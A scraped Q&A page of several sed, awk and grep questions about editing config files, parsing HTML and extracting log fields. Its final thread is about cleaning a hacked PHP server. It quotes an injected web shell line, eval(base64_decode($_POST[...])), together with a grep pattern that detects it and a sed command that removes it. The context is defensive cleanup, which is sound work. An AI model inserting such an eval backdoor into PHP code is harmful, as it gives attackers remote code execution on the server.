sed not replacing a full sentence - linux

ssh root#$IP sed -i -e 's/listen\t80\default_server;/test/' /etc/nginx/conf.d/default.conf is there something I am not doing correctly?
I am doing to learn how to use sed - but I think the greatest route for making a general configuration across multiple server is to upload the conf file? Any input would be appreciated, thanks!

It appears that you are missing a tab:
listen\t80\tdefault_server
If it was me, I'd replace the tab pattern with general whitespace pattern to allow a little flexibility:
listen\s\+80\s\+default_server
or
listen[[:space:]]\+80[[:space:]]\+default_server

Related

How to replace a matching pattern inside a file to another using bash

My script has many lines starting with slo. How can I replace all the strings that are starting with slo to fwd using bash commands? Any help would be appreciated.
Here is a snippet of my script
template_version: 2018-03-02
resources:
instance01:
type: ../../../templates/nf.yaml
properties:
vm_name: 'slol2lvdl1'
vm_flavour: 'dns_19te'
image_name: 'pdns_dnsd_slo_211214121207'
vm_az: 'az-1'
vm_disk_root_size: '50'
vm_disk_data_size: '50'
network_mgmt_refs: 'int:dns_ox_slo_507:c3dns_slo_live_nc_vnns_pcg'
My requirement is to replace all slo to fwd in the above code. I have 5 files like this in the same directory.
sed is the go-to for file content replacements with regular expressions. If every slo you want to replace is between _ characters it's fairly easy with a command like this (in GNU sed which ships with just about all linuxes):
sed -i -e 's/_slo_/_fwd_/g' files to replace
-i replaces the text inline, replacing existing file contents with updated contents.
If not all slo are within _ characters you need to worry about unintentional matches.
Be sure to make a backup of these files or if they're in a git repo work from a clean state in case you don't like the change. Using git to track the changes might make sense even if you don't currently have the files in a git repo as this will make it trivial to compare before and after.
sed -i 's/slo/fwd/' worked! Also found many alternatives but sed was straight forward!

how to comment an idented line in a file

I am trying to comment a line within a .yml file through the command line, I am using this command sudo sed -i '/<pattern_to_find>/s/^#//g' /etc/metricbeat/metricbeat.yml an it works fine as long as the line is not idented, but I am loking to change an idented line such as:
setup.kibana:
# Kibana Host
# Scheme and port can be left out and will be set to the default (http and 5601)
# In case you specify and additional path, the scheme is required: http://localhost:5601/path
# IPv6 addresses should always be defined as: https://[2001:db8::1]:5601
# host: "localhost:5601"
# Kibana Space ID
any ideas how to achieve this? I cannot figure it out
Although I strongly encourage you not use the -i option to sed, I will not discuss that beyond mentioning it here. You just need to change your search pattern. Try:
sed -E '/^( *)#( host: "localhost:560!")/s//\1 \2/'
This will fail to match hard tabs. Depending on how much portability you want between different versions of said, that can be a pain to deal with. But the following should work:
sed -E '/^([[:space:]]*)#( host: "localhost:560!")/s//\1 \2/'

Parsing HTML table in Bash using sed

In bash I am trying to parse following file:
Input:
</a></td></tr><tr><td>stuff.txt (15.18 KB)</td><td>12/01/2015</td><td>Large things</td><td>158520312</td><td><a class="btn-down" download href="https://resource.com/stones">
</a></td></tr><tr><td>flowers.pdf (83.03 MB)</td><td>23/03/2011</td><td>Large flowers</td><td>872448000</td><td><a class="btn-down" download href="https://resource.com/flosers with stuff">
</a></td></tr><tr><td>apples.pdf (281.16 MB)</td><td>21/04/2012</td><td>Large things like apples</td><td>299009564</td><td><a class="btn-down" download href="https://resource.com/apples">
</a></td></tr><tr><td>stones.pdf (634.99 MB)</td><td>11/07/2011</td><td>Large stones from mountains</td><td>67100270</td><td><a class="btn-down" download href="https://stuff.com/findstones">
Wanted output:
12/01/2015 158520312 "https://resource.com/stones"
23/03/2011 872448000 "https://resource.com/flosers with stuff"
21/04/2012 299009564 "https://resource.com/apples~withstuff"
11/07/2011 67100270 "https://stuff.com/findstones"
I got to the point that I have:
# less input.txt | sed -e "s/><tr><td//" -e "s/\///" -e "s/a>//" -e "s/<\/td><\/tr>//g" -e "s/<\/td><td>//g" -e "s/>$//g" -e "s/<a class=\"btn-down\" download href=//g"
<stuff.txt (15.18 KB)12/01/2015Large things158520312"https://resource.com/stones"
<flowers.pdf (83.03 MB)23/03/2011Large flowers872448000"https://resource.com/flosers with stuff"
<apples.pdf (281.16 MB)21/04/2012Large things like apples299009564"https://resource.com/apples"
<stones.pdf (634.99 MB)11/07/2011Large stones from mountains67100270"https://stuff.com/findstones"
Is there a easier way to parse it? I feel that it can be done much simpler and I am not even in the middle of parsing.
Could you please try following and let us know if this helps you.
awk -F"[><]" '{sub(/.*=/,"",$28);print $15,$23,$28}' Input_file
I'm sure the best way to solve your problem is to use an HTML parser. Solution for shown sample of file:
sed -r 's/.*(..\/..\/....).*>([0-9]*)<\/.*href=([^>]*)>/\1 \2 \3/I' input.txt
Personally, I'd use perl, but that's not what you asked, so...
A pedantic stepwise approach, so that you can edit bits of the logic when needed.
Assuming the input is a file named x:
</a></td></tr><tr><td>stuff.txt (15.18 KB)</td><td>12/01/2015</td><td>Large things</td><td>158520312</td><td><a class="btn-down" download href="https://resource.com/stones">
</a></td></tr><tr><td>stuff.txt (15.18 KB)</td><td>12/01/2015</td><td>Large things</td><td>158520312</td><td><a class="btn-down" download href="https://resource.com/stones">
</a></td></tr><tr><td>flowers.pdf (83.03 MB)</td><td>23/03/2011</td><td>Large flowers</td><td>872448000</td><td><a class="btn-down" download href="https://resource.com/flosers with stuff">
</a></td></tr><tr><td>apples.pdf (281.16 MB)</td><td>21/04/2012</td><td>Large things like apples</td><td>299009564</td><td><a class="btn-down" download href="https://resource.com/apples">
</a></td></tr><tr><td>stones.pdf (634.99 MB)</td><td>11/07/2011</td><td>Large stones from mountains</td><td>67100270</td><td><a class="btn-down" download href="https://stuff.com/findstones">
Try this:
sed -E '
s/>$//;
s/href=/>/;
s/(<[^>]+>)+/~/g;
s/~[^~]+~//;
s/~[^~]+~/ /;
s/~/ /;
' x
Output:
12/01/2015 158520312 "https://resource.com/stones"
23/03/2011 872448000 "https://resource.com/flosers with stuff"
21/04/2012 299009564 "https://resource.com/apples"
11/07/2011 67100270 "https://stuff.com/findstones"
Explained:
sed -E '
This uses extended regexes, and opens a script of sed code so that I can list each pattern individually. Each will be executed in order on each line, so it's not super efficient, but it's "readable" as regex code goes, and reasonably maintainable once you understand it, and so easy to edit when something needs tweaking.
s/>$//;
Strip the closing > off the end, to preserve the URL before squashing out all the other tags.
s/href=/>/;
use the href= as a hook to insert the > back so we can squash out all the tags in one pass.
s/(<[^>]+>)+/~/g;
Convert ALL the strings of tags and everything still in them to a simple delimiter each.
s/~[^~]+~//;
Eliminate the leading and second delimiter and the first unneeded field between them.
s/~[^~]+~/ /;
Eliminate the third and fourth delimiters and the unneeded third field between them, replacing them with the space you wanted in the output.
Those two are very similar, and could certainly be combined with minimal shenannigans, but I left them nigh-redundant for easier explication.
s/~/ /;
Convert the remaining delimiter to the other space you wanted between the remaining fields.
' x
Close the script and give it the filename to read.
Obviously, this leaves a LOT of room for improvement, and is in many ways stylistically repulsive, but hopefully it is a simple explanation of tricks you can hack into a maintainably useful solution to your issue.
Good luck.

extract data from text file with linux

I have file and I need to extract some data. the problem I'm facing is some line not almost the same with other lines. here is the example:
action=accept trandisp=noop srcip=1.1.1.1 dstip=2.2.2.2 service=PING proto=1 duration=61
action=accept trandisp=noop srcip=1.1.1.1 dstip=3.3.3.3 dstport=80 service=http proto=1 duration=61
I want to get the destination IP with service in the first row, and the
destination IP with dstport and service in the second line.
I'm new in linux and I tried it with grep and cut but it didn't work for me.
please help me with the explanation of your answer.
What about this one?
grep -o -P "dstip=[0-9.]+ (dstport=[0-9]+)? service=\w+ (dstport=[0-9]+)?" your-file
Explanation:
-o, --only-matching show only the part of a line matching PATTERN
-P, --perl-regexp PATTERN is a Perl regular expression
Of course, key-value order matters.

remove eval base64_decode from file with ssh

I found several php-files on the webserver(CentOs with WHM) that contain something like this:
eval(base64_decode($_POST['n23fcad']));?><?php
or
eval(base64_decode($_POST['n56660d']));?><?php
And so on.
Can I remove this part of code from the php-file, leaving the rest of the file intact?
For now I'm using the following line to detect the files:
grep -lr --include=*.php "eval(base64_decode" .
I don't know how to delete the malicious part.
As you can see between the brackets of POST the code changes.
So hopefully there is a way to delete these kind of lines.
Thanks in advance!
Please try the following method
cat injected_file.php | sed 's/<?php.*eval.*]));?>//g' > good_file.php
it works for me.

Resources